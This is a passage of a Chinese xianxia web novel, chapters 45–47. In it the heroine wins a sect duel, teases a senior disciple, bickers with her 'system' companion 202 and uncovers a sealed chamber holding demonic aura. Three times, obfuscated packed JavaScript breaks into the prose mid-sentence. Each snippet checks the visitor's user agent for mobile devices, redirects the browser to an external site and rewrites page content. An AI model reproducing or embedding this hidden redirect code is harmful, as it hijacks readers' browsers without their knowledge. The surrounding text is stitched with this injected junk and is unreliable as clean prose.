祝昭昭于是继续说:“还是你外门夺魁赛那日,我在台下说的那些话让你觉得不高兴?” 下一秒,爆裂剑气直朝祝昭昭面门袭来。 闪身出现在商玄身后,祝昭昭一掌拍向他肩头:“当着你的面讨论你,确实是我考虑不周。可我似乎没说什么侮辱你的话。” “你为什么那么生气?” 侧身躲过祝昭昭的攻击,商玄还是没有回答。 长剑发出细细振鸣,他口中默念,道道火色开始在他手上长剑流转。 这就开始上大招了? 感受着灵华在手里兴奋振动,祝昭昭捏了捏剑柄。 擂台上,温度随着商玄剑上火色渐浓而逐渐攀升。抬手抹掉滑落至下颌的汗,祝昭昭叹了口气:“既然如此……” 下一秒,她闪身出现在商玄身旁,指尖翻转,直接一个手起剑落。 铁器掉落的声音响彻擂台。 看着地上的本命剑,商玄第一次在擂台上露出震撼的表情。 祝昭昭却很平静:“没人告诉过你,准备太长的大招要躲在同伴身后施展吗?” 她说着,下意识往观众的方向瞧—— 然后就那么对上一大群,可以说是从商玄脸上复制粘贴下来的表情。 尤其是云珈,嘴巴张得都快可以塞个鸡蛋了,场间气氛被她烘托得相当到位。 这下轮到祝昭昭大为震惊。 等等,这么多年你们前摇都没被人打断过吗?? 这难道是什么修真界版约定俗成?? 所以她不该这么做是吗?? 祝昭昭:这是在干什么·jpg 瞳孔地震着收回视线,看着对面还傻站在原地盯着剑的商玄,祝昭昭甚至已经开始思考要不要帮他把剑捡起来塞他手里。 这架还准备打吗?! 还好在祝昭昭真的准备弯腰前,商玄终于回过神来,一脚把剑踢起来握进手里,然后直接一个纵劈。 而立刻侧身躲开,任由剑气从自己鼻尖擦过的祝昭昭这会儿心里根本没有警惕,只有感激。 好歹是重启了。 否则这场比赛就这么结束,她得从宗门大比其间的短暂话题人物,升级成剑宗永久传说—— ‘那个对手施法的时候打断对手,让比赛直接结束的弟子’ 祝昭昭:真是不敢想象。 不过虽说刚刚被不按常理出牌的祝昭昭打了个措手不及,但当反应过来后,商玄丰富的实战经验还是让他快速找到了最佳的应对方式。 当机立断抛弃威力大但准备时间长的招数,重新动起来的商玄在短短数息之间连出十数剑。 这十数剑虽说没有准备时间长的招数威力大,但够快,就已经胜过所有。 长剑相碰爆发出令人牙酸的声响,祝昭昭看似总比商玄慢半拍,实则却每每都准确无比地接住他的剑招。 好小子,还让你学到了。 抵挡攻势变得有些吃力,再次硬接了一记直刺的祝昭昭滑退至擂台边缘。 看着祝昭昭已经半步出线的脚,台下云珈惊呼:“天呐,就差一点!!好险昭昭站住了。” 齐青青也面露担忧:“大比刚开始就对上实战经验丰富的同门,对昭昭来说果然还是太勉强了。” 云珈皱起眉头:“如果昭昭这次输了比赛,会不会被淘汰?” “不会。”这么说着,齐青青语气却并不轻松,“之后会有复活赛,但复活赛的难度要比正常比试难得多。” “那会是更麻烦的结果。” 足尖一点借着商玄准备把自己送下台的剑势回到擂台中心,祝昭昭暗暗松了口气 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祝昭昭少见的没反驳:“我本意是想收着点打,因为接下来还要比别的场,我担心……” “你要装像点嘛!” 202开始油腻说教:“要演投入点,做出真的被打得很狼狈的样子才对。这么轻易就被人看出来在演戏,那不是失去了扮猪吃老虎的装*意义了吗?” 剩下的话全部咽了回去,祝昭昭:“……” 直接给202上了套雷电法王式电击疗法,回过神的祝昭昭朗声:“商师兄多虑了,昭昭并无此意。” “但既然已经引起商师兄误会,那之后,昭昭便不会再做让商师兄不快的事。” 高举的灵华倒映出祝昭昭的眉眼,她语调微肃:“接下来,我会让商师兄感受到我的诚意。” 祝昭昭说到做到。 下一秒,她整个人消失在原地。 再次出现时,她来到距离商玄非常近的地方。 她手中灵华却比她更近。 比剑意更无法忽略的,是自鼻尖处传来的,占据所有意识的冰冷气息,商玄悚然。 眼前这个少女是怎么做到上一秒还在和他道歉,下一秒手里长剑就可以对准他的? 甚至那柄剑只要再近一分,她就可以直接结束这场战斗。 自己却根本来不及反应! 她叫什么名字?祝昭昭,是吗? 几乎是瞬间,不愿承认的恐惧就被极怒取代。挥剑挡开对准鼻尖的灵华,炙热灵力从掌心传至剑身掌心,商玄直取祝昭昭持剑的右手。 惊呼声从台下传来,祝昭昭却依旧平静。 灵华瞬间换至左手,场间灵力则涌动着,朝她右手聚集。 商玄出现在近前的最后一刻,祝昭昭缓缓抬起了凝着浅淡冰霜的指尖。 然后,她捏住商玄的剑。 顷刻间,冻结之声自剑身上响起。面色巨变的商玄本能试图抽身拉开距离,祝昭昭却比他更快。 碎冰顺着长剑飞速朝商玄手上蔓延,抓住他慌乱的瞬间,祝昭昭鬼魅般出现在他身后。 长剑横于商玄脖颈,祝昭昭声色淡淡:“商玄师兄,” “承让。” 45. 刷刷好感度吧! “本场比试胜者,祝昭昭。” 裁判师姐不带感情的声音打破落针可闻的空气,台下爆发出一阵欢呼声。 同时夹杂着零碎的惊叹和感慨—— “这位小师妹不得了啊,看起来娇小可爱的,没想到出手那么利落。” “刚才还以为她是怕输得太快丢人才一直躲来躲去,现在看原来是真的不想认真出手啊,怕伤着商玄吗?” “伤不伤着商玄先不说,什么输得太快,你在那说什么呢。这位师妹不是普通的内门,而是宗主的亲传好吗?怎么可能轻易就输啊。” “亲传怎么了,亲传就更高贵了?那天下大能都是亲传出来的?” “诶,不是……我说的是那个意思吗?算了,咱们不说这个说回商玄成吗?这小子够倒霉的,外门夺魁那场输给陈恕,这场挑战内门又输给这位祝小师妹。” “运气不好吧,换个人挑战也许能赢?毕竟他本来也不弱。” “可别说了,听说他是特意选这位祝小师妹来挑战的。” “呦,那这还是碰到硬钉子了。” …… 讨论声没刻意压低音量,防护结界被撤下后更加清晰地传到台上来。看着从结果宣布后就低着头不知道在想什么的商玄,祝昭昭突然感觉有点尴尬。 想了想,她决定主动点:“商师兄,这场比试让我受益匪浅,谢谢你愿意选我做对手。” 话刚落下,祝昭昭就眼睁睁看着商玄踩了电门一样浑身剧震。 这什么情况? 祝昭昭怔。 等等,仔细一想,这话似乎有点得胜者示威的意思。 那…… 反应过来的祝昭昭猛一惊,越看越觉得不对。 那死死攥紧的拳头,微微颤抖的身体,忍辱负重的气场…… 她果然是被记恨了吧! 深感大事不妙的祝昭昭下意识朝商玄走近几步,刚准备说点什么解释解释,下一秒,手就被人‘啪’的声握住。 预想中的怨怼根本不见踪影,商玄眼里是毫不掩饰的敬佩和崇拜:“昭昭师妹此言差矣,与你对战,是我的荣幸才对。” 措手不及的祝昭昭:??? 谁能来告诉她现在这是什么展开? 眼睛在日头下闪着光,商玄看着祝昭昭,态度一百八十度大转变:“昭昭师妹灵力运用之熟练,身法之神速奇诡,出手之果决利落,实在是一众同僚中的佼佼者。” “商玄佩服!” 祝昭昭瞳孔地震。 破案了。 这家伙竟然是慕强派的! 谁揍赢你谁老大是吗?! 好谄媚的表情,实在让人不适啊!! 麻烦立刻把你的高冷人设从地上捡起来好吗?? 面对如此抽象的反应,祝昭昭起了一身鸡皮疙瘩:“商玄师兄过誉,都是掌教教得好。” “宗内有几人不跟随掌教学习?” 商玄一听这话更激动了:“如果昭昭师妹你仅凭学堂教导便可修炼至此,那更是说明你天赋之高,悟性之强,放眼宗内也无几人可比肩!” 等等,怎么越来越夸张了? 吹彩虹*也是要有底线的好吗? 脚趾都快抠出三室一厅的祝昭昭当即准备跑路:“多谢商玄师兄赞赏。但既然胜负已分,我也不便再占用擂台。” “昭昭先行一步。” 费了一番劲才把手抽回来,祝昭昭朝商玄行完抱拳礼,飞速溜下擂台。 期间她甚至不敢再回头多看一眼。 “昭昭,这边这边。” 刚下台就听见云珈大声招呼,祝昭昭立刻往她的方向走。 直接把还有点距离的祝昭昭拉过来,云珈拍拍她肩膀:“干得不错啊昭昭,我本来都以为你会输呢。” “运气好而已。”祝昭昭常规谦虚。 云珈听不得这话:“昭昭你还跟我们客气什么啊,赢了就是赢了,还运气好来运气好去的。” “再和我们说客套话就揍你。”她作势要去捏祝昭昭的脸。 祝昭昭吓得立刻抬手告饶。 笑闹完,明天还有比试的云珈和齐青青便准备回弟子居。 和两人道完别,祝昭昭突然想起什么:“我没记错的话,刑煜这两天是不是还有比试?” “是。”齐青青眨眨眼,显然不知道祝昭昭为什么问这个问题,“但昭昭你今天不是已经看过一场了吗?” “没错。”祝昭昭刚准备回话,云珈却反应更快。 她‘哎呀’一声:“青青你不懂,昭昭关心这个肯定是有原因的,她可能是想了解刑煜的战斗方式呢?” “毕竟老话常说知己知彼,百战不殆嘛。” “你说的有道理。”微一颔首,齐青青望向祝昭昭的眼里多了敬佩。 她无比郑重地,重新回答了祝昭昭:“是的,昭昭。刑煜这两天还有一场比试。” “你到时候可以过来观摩。” “我们也一起!”云珈快乐地在边上插话。 还观摩。 观摩什么,观摩刑煜装*失败现场吗? 看着对面满脸兴奋和期待的两人,祝昭昭顿时脑瓜子嗡嗡的,感觉眼前的场景陷入了一种异常无厘头的发展。 最后她选择点头:“好。” “我知道了。” * 告别云珈和齐青青,祝昭昭漫无目的地闲逛。 擂台比赛还在继续,除了比赛的和有其他各种原因走不开的人外,大多数宗内弟子都趁着这难得的时候观战学习去了—— 祝昭昭得以享受这来之不易的清净。 然而这份清净很快就因为她一时兴起路过掌刑司,被迫烟消云散。 和正好从掌刑司里出来的慕行秋大眼瞪小眼半天,祝昭昭心里恼火得想创亖全世界的同时,脸上扯出一个公式化微笑:“慕师兄,好巧。” “是很巧。”慕行秋笑得倒是真情实感,“昭昭师妹今日表现不错。” 闻言先是一愣,祝昭昭很快明白他在说什么:“谢谢慕师兄夸奖,商玄师兄只是未尽全力而已。” “未尽全力?” 嘴角笑意更深,慕行秋语气散漫:“你的对手若是知道你这么说,也许会生气。” “况且以你点评你对手上一场比试时的透彻,他想尽全力,或许都有些难度。” 他眉眼弯弯:“昭昭师妹觉得呢?” 觉得什么? 还能觉得什么? 祝昭昭觉得额角直抽抽:“昭昭点评的那些皮毛谈不上透彻,更影响不了商玄师兄如何出手。” “慕师兄说笑了。” “我却不觉得是说笑。”慕行秋说着,捏了捏眉心,“毕竟你一眼便看穿刑煜的剑光是他用灵力伪造,点评对手的比试对你而言,算不上难事。” 慕行秋竟然全部都知道。 祝昭昭震惊又恍然。 瞧瞧人家这敬业程度。 没点卷王属性谁会连观战区都盯? 难怪能被二长老破格收入掌刑司还那么快就当上了乾殿殿主。 一般人真干不来这差事。 祝昭昭:佩服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280528|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左右也没什么话说,祝昭昭干脆阴阳慕行秋:“比起慕师兄不仅认真查看擂台战局甚至有心连观战区一并查看的做法,昭昭做的那些,确实与难事无关。” 慕行秋挑眉:“谁与你说我连观战区一并查看?” 没有? 没有你怎么知道我在观战区干了什么? 这下轮到祝昭昭愣住了。 慕行秋却没给她深入思考的时间。 再次下意识想摸上眉心又收回手,他给祝昭昭下逐客令:“若是没什么事的话,你便早些回雾鸣山好好休息吧。” 祝昭昭不可置信。 竟然还赶起人来了? 她本来也只是一时好奇才过来的好吗? 如果不是这人突然出现,谁会在这地方久留啊? 现在这人一张嘴,想留人就留人想赶人就赶人? 祝昭昭才不惯着他:“可是我本也就是偶然路过掌刑司才停下来看看的,如果不是慕师兄出现,我这会儿应该已经回到雾鸣山了。” 慕行秋闻言也不恼,反而好像真的思考起来:“这么说来,倒是我不该叫住你。” 当然。 祝昭昭深以为然地点头。 “既然如此,那不如你来掌刑司里坐坐,我奉茶与你。” 他眉眼微弯:“天山青雪。” 努力不让白眼翻得太明显,祝昭昭本想立刻转身就走。 然而瞥见慕行秋眼下青黑,她又停下了脚步。 好家伙,这么一看精神上能卷不代表身体也能跟上,瞧这黑眼圈,不知道的得以为是黑洞取代双眼了。 幸灾乐祸完,祝昭昭突然意识到什么。 她为什么不趁现在关心一下慕行秋?反正假关心也是关心,慕行秋受用就好。 毕竟很快就有需要他的地方,现在和他打好关系,正好方便行动。 祝昭昭沉思。 但这人心眼蔫坏,真给什么对他有用的东西纯属浪费,得找点他讨厌的东西送他。 他最讨厌什么来着…… 眨眨眼回过神来,祝昭昭态度一百八十度大转弯。 一扫刚才满脸不耐烦的表情,她几步走到慕行秋面前站定:“从刚才就见慕师兄一直捏眉心,再看你眼下,师兄这段时间一定很累对不对。” 目光静静落在祝昭昭和颜悦色的脸上,慕行秋但笑不语。 祝昭昭就跟没事人似的:“恰好昭昭这段时间在山下尝到一种很适合提神的吃食,慕师兄不若试试?” 她说着,从空间袋里取出一个瓷盒。 “这是我前两天在山下闲逛时买的,虽说是糖块,入嘴却不似普通糖块那般柔和,而是凉爽刺激,让人提神醒脑。” 是的,慕行秋讨厌甜食。 他不仅讨厌甜食,还很讨厌刺激的口感。所以薄荷糖这种融合以上两种问题的吃食,可以说是在慕行秋雷点上大蹦迪。 正好是祝昭昭想要的效果。 她把瓷盒往慕行秋面前递:“师兄你宗门大比这几日若是有困倦之时,可以尝尝看。” “当然,昭昭觉得现在吃就很合适。” 盯着眼前人半晌,慕行秋最后接过瓷盒。 “多谢师妹。” 成功把手里东西交出去,祝昭昭笑里多了些真意,和慕行秋道别后很快离开。 也因此没有看见慕行秋静静端详半晌掌心纯白小巧的瓷盒。 直到身后有人唤他,才终于回过神,再将瓷盒打开,捏起一颗淡蓝色的糖放进嘴里。 眉头皱起却依旧把瓷盒妥帖收进袖中的模样。 46. 你这个年纪怎么睡得着的! 之后的几天,祝昭昭都在‘修行——比赛——肯定没睡够时间但还是被白月书叫走加练’的日程中循环往复。 所以当好不容易终于有一天,白月书和秦之衡都没空且自己的擂台赛刚好轮空。祝昭昭几乎是怀着感恩之心躺在床上睡觉。 却被202无情打扰:“主人,今天有刑煜的擂台赛,你不去看看吗?” “不去。”翻了个身把头埋进枕头里,祝昭昭回答得口齿不清。 202不敢相信自己听到了什么:“可是主人你不看的话,刑煜那边出什么事了怎么办啊?” “就算出事后我们第一时间赶过去,那也来不及了啊。” 祝昭昭咕哝两声,根本不搭理它。 202顿时更来劲了,当场就是怒斥三连—— “主人你怎么能这么怠惰,这是一个位面维护员该做的吗?” “其他维护员哪个不是积极盯着任务目标,主人你这样被其他维护员知道了,她们一定会笑话你的!” “主人你现在不积极,到时候刑煜那边出意外了又赶不过去,任务出岔子我们怎么办?” 最后一个灵魂质问—— “你怎么睡得着的?!” 猛地睁开布满血丝的双眼,祝昭昭直挺挺坐起来。 然后一言不发地动用权限开启独立空间,再缓慢却无比坚决地,把202拉长成一个沙袋挂在顶上—— 每一拳都夹杂着空气被撕裂的啸声,202被打得如同风中残柳,叫喊声在不大的独立空间里形成了立体回声的效果:“主人,主人我真的错啦,我真的错啦啊啊啊啊啊啊!” “你错了?你怎么会错呢?” 祝昭昭深深微笑,以极其标准的拳击姿势再次挥出一拳:“错的是怠惰,且不小心就会被其他维护员嘲笑的我,怎么会是让我们重启任务的你呢?” “如果不是你,我怎么能体验到任务重启这种珍贵的体验?” “我应该感谢你才对。” “是我是我,错的肯定是我。”202大声逼逼,它感觉自己再不认错,真的会被祝昭昭当场打亖,“主人我保证我接下来一定安安静静听从你的指令,你说一我绝不答二,” “你指东我绝不往西啊啊啊啊啊!!” 朝着202正脸去的拳头在它说完的最后一刻贴着停住,祝昭昭缓缓收回手,阴沉的脸色一秒切换成微笑。 然后心情很好地伸懒腰:“雨露说得没错,空腹有氧确实让人神清气爽。” 沙袋202在空中静静摇曳。 什么空腹有氧让人清爽,根本是揍系统揍高兴了! 心有余悸的202颤巍巍地往自己的任务小贴士里新添了一条铁律—— 绝不能招惹起床气重的人。 202:流泪猫猫头·jpg * 洗漱完毕,彻底清醒的祝昭昭特地找了个风景好的位置,慢悠悠地开始吃早餐。 看着祝昭昭茶杯里还在泛涟漪的咖啡,202欲言又止:“主人,你确定在修真界这种位面喝咖啡没问题吗?” “被人发现了你准备怎么解释啊。” “啊什么啊。” 祝昭昭一脸‘别烦我’的表情:“没人问,这是一杯冒着热气的拿铁;有人问,这就是我亲爱的宗主师父为我准备的养身灵药。” “你还想听什么解释。” 202头摇得跟拨浪鼓似的:“没了,主人您请喝,喝大口的。” 斜了202一眼,祝昭昭配着杯里的咖啡,拿起桌上糕点就是一口。 在旁边鹌鹑一样等到祝昭昭面色稍霁的时候,202见缝插针地小声逼逼:“主,主人。” 祝昭昭倒咖啡:“说。” “你,你真的确定不去看看刑煜……” 偷偷瞧了眼祝昭昭的反应,见她没有生气的意思,202才悄咪咪继续:“毕竟他的行动确实关系到剧情之后如何发展,贸然对他放松警惕,我真的觉得不太行。” “你从哪看出来我对他放松警惕。”茶壶放在桌上带起一声轻响,祝昭昭反问。 202傻眼:“诶?你说从哪……” 从哪都没看出来你对他保持警惕! 202:主人太难沟通了怎么办,在线等,急。 祝昭昭哪能不知道202在想什么。 相当不耐烦地轻叹口气,她敲敲桌子:“决赛之前,刑煜的对战不会出现问题。” “为什么?”愣了一下,202好像明白了什么,“主人你看过了?” 抿了口咖啡,祝昭昭不说话。 那就是默认。 202于是继续追问:“决赛之前不会有问题,那意思是决赛的时候出事了吗?” 祝昭昭摇头:“我不知道。” 202非常意外:“为什么,剧情限制不能看?” 祝昭昭实话实说:“我没看。” “没……” ? 宕机了起码十几秒,202终于反应过来。 它惊讶且不解:“为什么啊主人,反正看都看了,一次性看完不好吗?” 祝昭昭也回答得很干脆:“不好。” “主人。”202飘到祝昭昭跟前,显示屏里的表情看起来可怜巴巴,“我真的不懂。” “看到的未来越远,需要耗费的力量就越大。” 托腮看着杯里的咖啡,祝昭昭淡声:“如果说看到刑煜决赛前的未来,我将耗费百分之十的力量。” “那直接看完整个比赛过程,就需要百分之三十。” 闻言犹不敢信,202喃喃:“百分之三十这么多啊……” 祝昭昭盯着咖啡里自己的倒影:“我的能力的确可以做到百分百准确预知,但这份准确,是有代价的。” “以看的那一刻为起点,看得越少,需要付出的代价就越小;看得越多,则需要付出的代价就越会多。” “为了这么个小节点消耗太多力量,并不是明智之举。” 空气安静下来,许久,202再开口的时候,态度不再像开始那么理所当然:“既然这样,那主人你的计划是?” “决赛之前再看,争取把消耗降到最低。” 祝昭昭手指在桌上慢慢画圈:“消耗多大取决于看的未来时间跨度有多长,那么尽量把看未来的时间缩短,就能尽可能减少消耗。” “毕竟只要目的达到就够了,不是么。” 202静静漂浮在空中。 这次,它没再反驳,或是提出异议。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280529|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 祝昭昭也得以安安静静地,把早餐吃完。 只是最后她起身准备收拾桌子时,202突然问了她一个问题。 “那主人,你能告诉我你所说的‘需要付出的代价’指的是什么吗?” 拾起杯子的动作一顿,祝昭昭下意识摸了摸眼角。 然后轻快一笑。 “你猜。” * 202到最后都没猜出来‘代价’究竟是什么代价,会用这种话敷衍它的祝昭昭当然更不可能告诉它。 无视在脑子里撒泼打滚的202,今天一整天都没什么事干的祝昭昭散着步来到后山。 好心情地环视一圈,她准备找个地方认真磨练下她的新招数。 “之前一直都跟着月书他们在同个地方修炼,平时也没机会四处走,今天终于有空逛逛别的地方。” 祝昭昭挺高兴:“这还是第一次。” 202撇嘴,还在为祝昭昭不和它说实话而不高兴:“有什么好逛的,这不就是一山林地吗?” 说着投射出电子微缩地图,它态度很臭屁:“我比主人你大方,想去哪里主人你说句话,我现在就可以带你去。” 闻言差点笑出声,祝昭昭故意逗它:“那202,你能不能帮我找找整个后山灵气最浓的地方在哪?” “我就去你选的地方修——” 祝昭昭话都没说完,202已经给出方位:“以你左手方向为起点七百米。” “那是整座雾鸣山灵力最浓的地方。” 整座雾鸣山? 祝昭昭很给面子地‘嚯’了一声。 然后大概估计了一下202说的那边应该是什么地方。 继而忽然挑眉。 她话音带了点审慎:“202。” 202装得一副‘我可没想等你夸哦’的表情:“怎么了?” 目光顺着202提示的方向望,祝昭昭脚尖有节奏地缓缓点地:“你确定你提供的方位没问题?” “主人你怎么能这么说!” 202一下就急了:“你可以质疑我业务不熟练,逻辑推演有问题,甚至可以质疑我的智商不够平均水平——” “但是绝对不能质疑我看地图指路的能力!” 202非常激动:“要是这种纯提供数据的事,基础中的基础的事我都能搞错,我的脸往哪搁,我在位面系统圈子里还怎么混!!” “主人你真的太不信任我了!” 最后一声尤其大,大到202这种机械音都快在破音边缘。 被202吼得侧目,祝昭昭震惊。 好家伙,怎么还好意思吼这么大声的? 还在位面系统圈子里怎么混…… 都不嫌丢人的是吗? 一言难尽地看着含恨欲泣的202,祝昭昭强忍住想把它揍一顿的冲动,尽量让自己心平气和地开口—— “不是我不相信你。” 202震声:“那主人你还……!” “而是如果我的记忆没出错的话,” 祝昭昭终于忍无可忍,重重‘啧’了一声:“你刚才指出来的那个地方,恰巧是整座雾鸣山最荒芜,灵气最枯竭的地方。” “那是雾鸣山里,唯一的死地。” 47. 你可以质疑我 “不可能!” 202简直要抓狂:“我手上的资料是主系统提供的,主系统作为千万位面的总数据库,怎么可能会有问题。” “还是这种答案已经几乎是南辕北辙的问题。” 激愤到直接在外界现形,202差点和祝昭昭脸贴脸:“这是绝对不可能的!!” “那么激动做什么。” 把202从自己面前抓走,祝昭昭尽了最大的努力克制自己不把它丢出去:“首先,我从头到尾没有质疑过主系统的判断。” 202嚷嚷:“但你质疑我的判断!” 大呼小叫完,202感觉抓在自己头顶的手力气瞬间变大几倍。 然后它听见祝昭昭忍怒的话音:“你是主系统吗?” “还有,你到底能不能安静听我把话说完。” 202哪还敢不安静:“主人,我立刻闭嘴。” 祝昭昭闭眼深吸气:“其次,从来雾鸣山到现在,我一直没有找到机会亲自把这个地方踩一遍,所以对雾鸣山,乃至这座后山——” “我都并不了解。” 松开盖在202头顶的手,祝昭昭面露沉吟:“我之所以怀疑你的话,是因为在你透露消息之前,我对后山的了解,全部来自于白月书和秦之衡。” 202几乎是立刻:“主人你的意思是男女主角骗你?” “我没有这么说。”祝昭昭白了202一眼,“两个老实到差一步元婴都能被普通百姓押去守魔界挖矿的人,你想让他们毫无破绽地骗人还真有点难度。” 是,就算能骗过别人也绝不可能骗得过你。 202腹诽。 “既然他们两个人不会骗我,那就只能是有人在骗他们。” 祝昭昭随手把202当气球戳着玩:“他两人老实却不傻,能让他们深信不疑的人,只可能是他们最信任的人。” “并且这个人还必须非常了解雾鸣山。” 祝昭昭双手环胸:“毕竟如果连雾鸣山都不甚了解,那更不可能会知道雾鸣山中一个不起眼的后山里,究竟是什么情况。” “那么综上所述,最符合这些特征的人应该是……” 眨眨眼,祝昭昭忽然安静下来。 她沉默着,和202对上视线。 “总之。” ‘啪’地一合掌,祝昭昭转身向左:“先按202你说的方位找过去看看也不迟。” “我们现在出发。” * 对修仙位面来说,哪怕走路,七百米也是很近的距离。 所以没耗费多少时间,祝昭昭很快在202的提示下停住脚步。 入目便是望不见尽头的月清花。 和被慕行秋细心照顾着那些月清花不同,眼前的这片花海完全是肆意生长而出,长势之蓬勃茂密,祝昭昭甚至能感受到它们扑面而来的攻击性。 却感受不到半点灵气。 目光从除了月清花就是枯草的荒野地里收回,她沉默地盯着202。 被祝昭昭用一种‘你小子需要给我一个理由’的眼神盯着,202慌得整个系统乱七八糟的:“主人你干嘛这样看我,地图上真的显示这里是整座雾鸣山灵气最浓的地方啊,我真的没有骗你。” “不信你自己看。” 202这次直接把地图投射到祝昭昭面前。 祝昭昭于是视线下移。 快速扫过一遍地图后,她摆摆手示意202把地图撤回去。 202边撤边问:“主人你这就看完了?” “灵气的标志什么样我比你清楚。”祝昭昭面如平湖,“况且代表浓度的提示那么扎眼,我想装看不见都不行。” 202讪讪:“所以主人你对这种情况没什么意见要发表吗?” “当然有。” 祝昭昭点头。 202听见八卦就来劲:“什么意见,主人你快说。” 拍拍202示意它靠近点,祝昭昭想了想,说:“你先扫描一遍有没有什么危险。” 202立刻照做。 它很快报告结果:“没有危险,主人。” 闻言微微颔首,祝昭昭又从空间袋里摸出一枚碧玉戒指套在食指上。 指尖轻触戒指,她口中默念。 随着轻而低沉的语句响起,碧玉戒指泛起一阵柔和光泽。光泽不断扩大,很快将祝昭昭包围。 “作用是遮掩气息。”知道202要问什么,祝昭昭干脆提前回答,“防止我来过的痕迹被之后的人察觉到。” ‘哦’了一声,202安静看祝昭昭继续动作。 但祝昭昭却‘停’了下来。 静静望着面前的一片月清花海,她漆黑的眼瞳深处渐渐亮起点点金色。 而随着那点金色愈发清晰,祝昭昭周身气息也开始变幻。 微风诡异地慢下来,直到野草花木都停止轻摇。当空气静得202都下意识感到不安的时候,祝昭昭终于身形一震。 踉跄着后退几步,她稳稳擦去滑落至下颌的汗。 202急忙飘到她身旁:“主人,你怎么样了?有哪里觉得难受吗?” 摇摇头示意202自己没事,祝昭昭双手撑着膝盖:“这地方覆盖着非常强的禁制,化神以下如果只是用神识粗略扫过,根本发现不了。” “可就算是化神,谁又会没事去搜查剑宗长老的领地?” 祝昭昭眸光沉沉:“难怪这地方能藏得这么好。” “化神以下都很难发现吗……”202突然有点犹豫,“主人,要不我们今天就先不进去了,回去好好计划一下再来?” 啼笑皆非地拍拍202,祝昭昭直起身:“择日不如撞日,谁知道下次来又会有什么意外。” “记得随时监测周围异动。” 留下最后一句,祝昭昭几步来到月清花海前站定。 目光很快锁定在虚空中的一点,她抬手,一道淡蓝色灵力极速朝那点刺去。 却没有穿透。 仿佛刺中一道无形屏障,以月清花海为界限,灵力消融在花海前。 紧接着,消融的灵力化为始点,空气开始无端泛起涟漪。涟漪越来越广,直到最后裂出条足供一人穿行的通道。 确定碧玉戒指的效用还在,祝昭昭本想掐个焰诀。 可指尖在合拢的瞬间停下,她最后只从空间袋摸出一颗巴掌大的夜明珠。 面对202的疑问,祝昭昭对此的解释是:防止催动灵力有可能会带来的意外。 且夜明珠的光亮已经足够应付眼前的环境。 于是借着夜明珠的光芒,祝昭昭将目光落在面前的空间。 继而轻吸口凉气。 带着一种说不明的震惊和讶异,祝昭昭不可置信地弯起唇角:“202,还真是让你歪打正着了一回。” 202在外面,202没听懂:“主人你在说什么?” “这里面,应该藏着非常有意思的东西。” 祝昭昭说完,直接走了进去。 夜明珠映亮区域之外,一片漆黑。 而正如202所说,仅仅只是在空间里站定,浓郁到凝成雾状的灵力已经萦绕在祝昭昭身旁。 只要念起,她现在就可以将之大量吸纳。 但这个空间里存在的东西,远不止于此。 举着夜明珠的手不紧不慢地移动,祝昭昭垂眸看着空间中央的石制桌椅:“有桌椅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280530|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 手再移:“有茶具。” “还有熏香。” 最后一句是轻笑着说出来的,祝昭昭眼底神色意味不明:“这是个会面用的地方。” 202跟着祝昭昭的动作挨个看过去:“那又怎么样?这座山这么大,有点隐藏的地方很正常吧?” 祝昭昭不置可否。 202继续:“不过为什么一个会客点要藏得这么深啊,而且灵力还这么浓郁……” “难道是那个五长老想独吞这块宝地,偷偷在这里修炼?” 还是没有接话,祝昭昭久久盯着石桌。 片刻后,她望了眼身后已经闭合的通道,把夜明珠收回空间袋:“202,你开启照明模式。” 202听话照做。 整个空间瞬间亮如白昼,石桌的全貌也终于得以展露。 仔细地从石凳打量到石桌、桌上的茶具以及熏香,祝昭昭的神情越来越凝重。 直到最后,她皱紧眉头:“这地方,有魔族的气息。” 哦魔族啊。 202摇头晃脑。 再突然反应过来祝昭昭刚才到底说的什么:“……” ??? “主人你说什么??” 202怀疑自己收音模块出毛病了:“这是剑宗,产出了男女主,好吧还有大反派……这个位面最伟光正的宗门——” “你说这里有魔气??” “是的,有魔气。”祝昭昭很平静地,再次重复。 出乎意料的,平时这会儿早该叫起来的202出奇地淡定:“主人你从哪里看出来的呢?” 这次轮到祝昭昭有些意外。 她挑眉:“202,你这是什么反应?” 202飘到石桌上方:“什么反应?” “怎么没大呼小叫。”祝昭昭比了个手势,“就那种,跟没见过世面一样,叫得比喇叭还响,生怕别人听不见的。” “那是气氛到了。”202很不屑,“不叫一下说不过去好不好。你以为我想叫啊?” “真是的,身为维护员却净注意些没用的事,主人你的脑子里每天都在想什——” 剩下的话没说完,因为祝昭昭直接照着202头顶就是重重一锤。 “魔气的来源在香炉。” 